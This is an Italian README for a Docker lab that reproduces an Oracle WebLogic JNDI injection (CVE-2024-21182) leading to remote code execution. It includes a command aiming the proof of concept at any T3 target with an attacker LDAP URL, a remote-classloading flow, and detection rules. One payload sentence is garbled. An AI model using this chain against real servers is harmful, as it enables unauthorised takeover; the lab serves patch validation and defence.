CVE-2024-21182 — Iniezione JNDI T3/IIOP su Oracle WebLogic Server → RCE (lab)

Un laboratorio Docker autonomo, con un singolo comando, per riprodurre e validare la famiglia di vulnerabilità di iniezione JNDI OpaqueReference su Oracle WebLogic Server (CVE-2024-21182, un bypass della patch di CVE-2023-21839) e trasformarla in esecuzione di codice remoto non autenticata.

⚠️ Solo per ricerca di sicurezza autorizzata, formazione e validazione di patch. Consulta DISCLAIMER. Eseguirlo solo su questo laboratorio o su sistemi di tua proprietà.

Cosa dimostra

CVE-2024-21182 è una vulnerabilità non autenticata nel componente Core di Oracle WebLogic Server, raggiungibile tramite i protocolli T3 / IIOP (porta predefinita 7001). Consente a un attaccante di associare un oggetto "reference" manipolato nell'albero JNDI del server e innescare una ricerca JNDI lato server verso un URL controllato dall'attaccante — classica iniezione JNDI che scala a RCE.

Causa principale

Un oggetto reference di WebLogic viene risolto lato server durante lookup() da una ObjectFactory che esegue una ricerca JNDI annidata verso un URL fornito dall'attaccante:

weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (line 62)
       → new InitialContext().lookup( ldap://attacker/… )      ← attacker-controlled, server-side

CVE-2023-21839 raggiungeva questo tramite weblogic.jndi.internal.ForeignOpaqueReference, che Oracle ha poi bloccato. CVE-2024-21182 aggira quel blocco raggiungendo lo stesso lookup foreign tramite weblogic.ejb.container.internal.AggregatableOpaqueReference, il cui campo privato referent viene impostato riflessivamente a un weblogic.application.naming.MessageDestinationReference.

⚠️ Importante: immagine del laboratorio vs. versioni elencate nel CVE

Questo laboratorio utilizza vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, con JDK 1.8.0_151) perché è l'unica immagine WebLogic vulnerabile ridistribuibile liberamente — le versioni elencate formalmente per CVE-2024-21182 (12.2.1.4.0 / 14.1.1.0.0) richiedono una licenza Oracle e non possono essere pubblicate qui.

Conseguenze, dichiarate onestamente:

• Il laboratorio riproduce fedelmente la classe di vulnerabilità di iniezione JNDI OpaqueReference → RCE, esercitata con le esatte classi gadget di CVE-2024-21182 (AggregatableOpaqueReference + MessageDestinationReference).
• Non dimostra la proprietà di patch-bypass di per sé — 12.2.1.3 è precedente alla blacklist di CVE-2023-21839, quindi non c'è alcuna patch da bypassare su questa immagine. Per dimostrare il bypass specificamente è necessaria una build con licenza 12.2.1.4 aggiornata fino alla CPU di poco prima di Ottobre 2024.
• RCE funzionante: qui funziona perché JDK 1.8.0_151 è precedente a 8u191 e ha com.sun.jndi.ldap.object.trustURLCodebase=true (caricamento remoto di classi dal codebase). Su JDK moderni l'iniezione funziona ancora (SSRF), ma per RCE è necessario un gadget già presente nel classpath di WebLogic invece di un codebase remoto.

Avvio rapido

Requisiti: Docker + Docker Compose v2. ~3 GB di download dell'immagine. Su Apple Silicon l'immagine viene eseguita sotto emulazione linux/amd64 (avvio a freddo più lento, 2–5 min).

git clone <questo-repo>
cd CVE-2024-21182-lab
docker compose up -d        # avvia: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh               # attende l'avvio, esegue l'exploit, stampa PASS/FAIL

Output atteso alla fine di ./validate.sh:

[+] RCE CONFERMATO — comando eseguito all'interno del container WebLogic come:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 riprodotto (iniezione JNDI T3 non autenticata -> RCE)

Smontaggio:

docker compose down

Come funziona (i vari componenti)

                 t3://weblogic:7001                         ldap://attacker:1389/Evil
  Client PoC  ───────────────────────►  WebLogic  ──────────────────────────────►  attacker (LDAP)
 (nel container    bind() + lookup()      (vittima)      ricerca JNDI lato server        restituisce Reference
  weblogic)                                                                            {javaCodeBase=http://attacker:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (codebase HTTP)
                                                           carica + istanzia → static{} esegue `id`

• poc/CVE_2024_21182.java — il client T3. Costruisce l'AggregatableOpaqueReference dannoso, esegue bind(), poi lookup() per innescare la risoluzione lato server. Parametrizzato: <host-T3:porta> <url-ldap>. Viene compilato all'interno del container WebLogic da validate.sh perché le classi gadget risiedono nel set completo di moduli di WebLogic (non nel thin client ridistribuibile), quindi nessun jar Oracle viene distribuito qui.
• exploit/ldap_server.py — server LDAP dannoso minimale che restituisce un Reference JNDI più un server HTTP che ospita la classe factory. Viene eseguito nel container attacker, raggiungibile da WebLogic tramite il nome del servizio attacker.
• exploit/Exploit.java / Exploit.class — la factory del payload (bytecode Java 8). Il suo inizializzatore statico esegue / e scrive l'output in all'interno della vittima. Di per sé innocuo — modificalo ed esegui per cambiare il comando.

Il ClassCastException (Exploit cannot be cast to ObjectFactory) che vedrai è previsto e cosmetico — si verifica dopo che l'inizializzatore statico (il payload) è già stato eseguito.

Validare un target reale / con patch

Punta il PoC su qualsiasi endpoint T3 che sei autorizzato a testare:

# da un host con il thin client WebLogic, oppure adatta validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil

• L'iniezione si attiva (LDAP in uscita osservato), nessun RCE → JDK ha trustURLCodebase=false; hai comunque una SSRF, e RCE potrebbe essere possibile tramite un gadget sul classpath.
• Non si attiva nulla → il percorso OpaqueReference è patchato (CPU di Ottobre 2024 applicata).

Mitigazione

• Patch — applica il Critical Patch Update Oracle di Ottobre 2024.
• Rete — limita T3/IIOP (7001) con i filtri di connessione WebLogic (weblogic.security.net.ConnectionFilterImpl) e i firewall host.
• JDK — mantieni com.sun.jndi.ldap.object.trustURLCodebase=false (predefinito sui JDK attuali); interrompe la parte RCE del codebase remoto (non la parte di iniezione).
• Rilevamento — LDAP/RMI/DNS in uscita dalla JVM WebLogic verso host non consentiti; processi figli inaspettati del processo WebLogic; bind T3 di tipi *OpaqueReference.

Crediti e riferimenti

• Gadget PoC pubblico: k4it0k1d/CVE-2024-21182
• Immagine vulnerabile: vulhub (weblogic/CVE-2023-21839)
• Contesto: advisory CPU Oracle; ricerca su CVE-2023-21839 (famiglia WebLogic OpaqueReference)

DISCLAIMER

Questo progetto è pubblicato per test di sicurezza autorizzati, validazione difensiva e formazione. Il software vulnerabile viene eseguito in un laboratorio Docker isolato. Non utilizzare queste tecniche contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test. Gli autori non si assumono alcuna responsabilità per un uso improprio. Vedi LICENSE.